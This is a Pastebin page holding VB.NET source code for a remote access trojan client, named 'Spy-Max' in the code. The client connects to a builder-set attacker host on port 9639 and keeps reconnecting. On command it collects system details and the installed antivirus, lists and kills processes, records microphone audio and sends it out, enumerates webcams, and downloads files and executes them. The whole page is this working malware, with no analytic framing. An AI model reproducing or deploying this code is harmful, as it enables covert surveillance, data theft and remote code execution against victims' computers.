Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System
- Imports Microsoft.VisualBasic
- Imports System.Reflection
- Imports System.Net
- Imports System.Net.Sockets
- Imports System.Threading
- Imports System.IO
- Imports System.Text
- Imports System.Globalization
- <Assembly: AssemblyTitle("#AssemblyTitle#")>
- <Assembly: AssemblyDescription("#AssemblyDescription#")>
- <Assembly: AssemblyCompany("#AssemblyCompany#")>
- <Assembly: AssemblyProduct("#AssemblyProduct#")>
- <Assembly: AssemblyCopyright("#AssemblyCopyright#")>
- <Assembly: AssemblyTrademark("#AssemblyTrademark#")>
- <Assembly: AssemblyVersion("3.5.2.4")>
- <Assembly: AssemblyFileVersion("0.0.0.0")>
- Module Main
- Dim yy As String = "||"
- Public WithEvents c As New SocketClient
- Private culture As String = CultureInfo.CurrentCulture.EnglishName
- Private country As String = culture.Substring(culture.IndexOf("("c) + 1, culture.LastIndexOf(")"c) - culture.IndexOf("("c) - 1)
- Private Declare Function mmciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As Integer) As Integer
- Public screamx As String = Environment.GetFolderPath(Environment.SpecialFolder.Templates) & "\" + System.Environment.UserName + ".wav"
- Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
- Dim host As String = "#HOST#"
- Dim port As Integer = 9639
- Sub Main()
- Dim T As New Thread(AddressOf Run)
- T.Start()
- End Sub
- Sub Run()
- ee:
- If c.Statconnected = False Then
- c.Connect(host, port)
- End If
- Thread.Sleep(1000)
- GoTo ee
- End Sub
- Private Sub data(ByVal b As Byte()) Handles c.Data
- Dim ala As String() = Split(BS(b), "||")
- Try
- Select Case ala(0)
- Case "closeserver"
- End
- Case "restartserver"
- End
- Case "\\"
- Dim MachineName = Environment.UserName
- Dim UserName = Environment.UserDomainName
- c.Send("\\" & yy & MachineName & "||" & UserName)
- Case "GetProcesses"
- Dim allProcess As String = ""
- Dim ProcessList As Process() = Process.GetProcesses()
- For Each Proc As Process In ProcessList
- Dim Path As String = Nothing
- Try
- Path = Proc.MainModule.FileName
- Catch
- Path = "N/A"
- End Try
- Dim title As String = Nothing
- Try
- title = Proc.MainWindowTitle
- Catch
- title = "N/A"
- End Try
- allProcess += Proc.ProcessName & "ProcessSplit" & Path & "ProcessSplit" & Proc.WorkingSet64 / 1024 & "ProcessSplit" & title & "ProcessSplit"
- Next
- c.Send("ProcessManager" & yy & allProcess)
- Case "KillProcess"
- Dim eachprocess As String() = ala(1).Split("ProcessSplit")
- For i = 0 To eachprocess.Length - 2
- For Each RunningProcess In Process.GetProcessesByName(eachprocess(i))
- RunningProcess.Kill()
- Next
- Next
- Case "scream1"
- mmciSendString("open new Type waveaudio Alias recsound", "", 0, 0)
- mmciSendString("record recsound", "", 0, 0)
- Case "scream1stop"
- mmciSendString("save recsound " + screamx, "", 0, 0)
- mmciSendString("close recsound", "", 0, 0)
- Dim n As New IO.FileInfo(screamx)
- c.Send("scream2" & yy & n.Name & yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
- c.Send("screamf" & yy & n.Name & yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
- My.Computer.Audio.Stop()
- Case "TETE"
- c.Send("TETE" & "||" & Environment.UserDomainName)
- Case "info"
- c.Send("info" & "||" & GetIPAddress() & "||" & Environment.MachineName & "||" & Environment.UserName & "||" & My.Computer.Info.OSFullName & "||" & country & "||" & Antivirus())
- Case "sendFile"
- IO.File.WriteAllBytes(IO.Path.GetTempPath & ala(1), Convert.FromBase64String(ala(2)))
- Threading.Thread.Sleep(1000)
- Process.Start(IO.Path.GetTempPath & ala(1))
- Case "openfm"
- c.Send("openfm")
- Case "RemoteWebCamera"
- c.Send("RemoteWebCamera")
- Case "RemoteWebCameraManger"
- listdevices()
- End Select
- Catch ex As Exception
- End Try
- End Sub
- Public Function Antivirus() As String
- Try
- Dim AVCollection As Object
- Dim AV As Object
- Dim objWMIService As Object
- objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter2")
- AVCollection = objWMIService.ExecQuery("Select * from AntiVirusProduct")
- For Each AV In AVCollection
- Return AV.displayname
- Next
- Dim AVCollection1 As Object
- Dim AV1 As Object
- Dim objWMIService1 As Object
- objWMIService1 = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter")
- AVCollection1 = objWMIService.ExecQuery("Select * from AntiVirusProduct")
- For Each AV1 In AVCollection
- Return AV1.displayname
- Next
- Return "Not Available"
- Catch
- Try
- Dim AVCollection As Object
- Dim AV As Object
- Dim objWMIService As Object
- objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter")
- AVCollection = objWMIService.ExecQuery("Select * from AntiVirusProduct")
- For Each AV In AVCollection
- Return AV.displayname
- Next
- Catch
- Return "Couldn't get AV!"
- End Try
- Return "Not Available"
- End Try
- End Function
- Sub audio_get()
- Try
- c.Send("RecordingFile" & Environment.MachineName & "|" & Convert.ToBase64String(File.ReadAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\rec.wav")))
- File.Delete(My.Computer.FileSystem.SpecialDirectories.Temp & "\rec.wav")
- Catch
- End Try
- End Sub
- Sub listdevices()
- Try
- Dim devices As String = String.Empty
- Dim strName As String = Space(100)
- Dim strVer As String = Space(100)
- Dim bReturn As Boolean
- Dim x As Integer = 0
- Do
- bReturn = capGetDriverDescriptionA(x, strName, 100, strVer, 100)
- If bReturn Then devices += strName.Trim & "|"
- x += 1
- Loop Until bReturn = False
- c.Send("WebcamDevices" & devices)
- Catch
- End Try
- End Sub
- Public Function GetIPAddress() As String
- Dim result As String
- Try
- Dim hostName As String = Dns.GetHostName()
- Dim text As String = Dns.GetHostByName(hostName).AddressList(0).ToString()
- result = text.ToString()
- Catch expr_24 As Exception
- result = "n/a"
- End Try
- Return result
- End Function
- End Module
- Module Functions
- Function SB(ByVal s As String) As Byte()
- Return System.Text.Encoding.Default.GetBytes(s)
- End Function
- Function BS(ByVal b As Byte()) As String
- Return System.Text.Encoding.Default.GetString(b)
- End Function
- Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word
- Dim a As New List(Of Byte())
- Dim M As New IO.MemoryStream
- Dim MM As New IO.MemoryStream
- Dim T As String() = Split(BS(b), WRD)
- M.Write(b, 0, T(0).Length)
- MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length))
- a.Add(M.ToArray)
- a.Add(MM.ToArray)
- M.Dispose()
- MM.Dispose()
- Return a.ToArray
- End Function
- End Module
- Public Class SocketClient
- Private C As TcpClient
- Public Event Connected()
- Public Event Disconnected()
- Public Event Data(ByVal b As Byte())
- Private IsBuzy As Boolean = False
- Public Function Statconnected() As Boolean
- Try
- If C.Client.Connected = True Then
- Return True
- Else
- Return False
- End If
- Catch ex As Exception
- End Try
- End Function
- Sub Connect(ByVal h As String, ByVal p As Integer)
- Try
- Try
- If C IsNot Nothing Then
- C.Close()
- C = Nothing
- End If
- Catch ex As Exception
- End Try
- Do Until IsBuzy = False
- Threading.Thread.Sleep(1)
- Loop
- Try
- C = New TcpClient
- C.Connect(h, p)
- Dim t As New Threading.Thread(AddressOf RC, 10)
- t.Start()
- RaiseEvent Connected()
- Catch ex As Exception
- End Try
- Catch ex As Exception
- RaiseEvent Disconnected()
- End Try
- End Sub
- Private SPL As String = "Spy-Max"
- Sub DisConnect()
- Try
- C.Close()
- Catch ex As Exception
- End Try
- C = Nothing
- RaiseEvent Disconnected()
- End Sub
- Sub Send(ByVal s As String)
- Send(SB(s))
- End Sub
- Sub Send(ByVal b As Byte())
- Try
- Dim m As New IO.MemoryStream
- m.Write(b, 0, b.Length)
- m.Write(SB(SPL), 0, SPL.Length)
- C.Client.Send(m.ToArray, 0, m.Length, SocketFlags.None)
- Catch ex As Exception
- DisConnect()
- End Try
- End Sub
- Private Sub RC()
- IsBuzy = True
- Dim M As New IO.MemoryStream
- Dim cc As Integer = 0
- re:
- Threading.Thread.Sleep(1)
- Try
- If C Is Nothing Then
- GoTo co
- Else
- If C.Client.Connected = False Then
- GoTo co
- Else
- cc += 1
- If cc > 100 Then
- cc = 0
- Try
- If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then
- GoTo co
- End If
- Catch ex As Exception
- GoTo co
- End Try
- End If
- End If
- End If
- If C.Available > 0 Then
- Dim B(C.Available - 1) As Byte
- C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None)
- M.Write(B, 0, B.Length)
- rr:
- If BS(M.ToArray).Contains(SPL) Then
- Dim A As Array = fx(M.ToArray, SPL)
- RaiseEvent Data(A(0))
- M.Dispose()
- M = New IO.MemoryStream
- If A.Length = 2 Then
- M.Write(A(1), 0, A(1).length)
- Threading.Thread.Sleep(1)
- GoTo rr
- End If
- End If
- End If
- Catch ex As Exception
- GoTo co
- End Try
- GoTo re
- co:
- IsBuzy = False
- DisConnect()
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement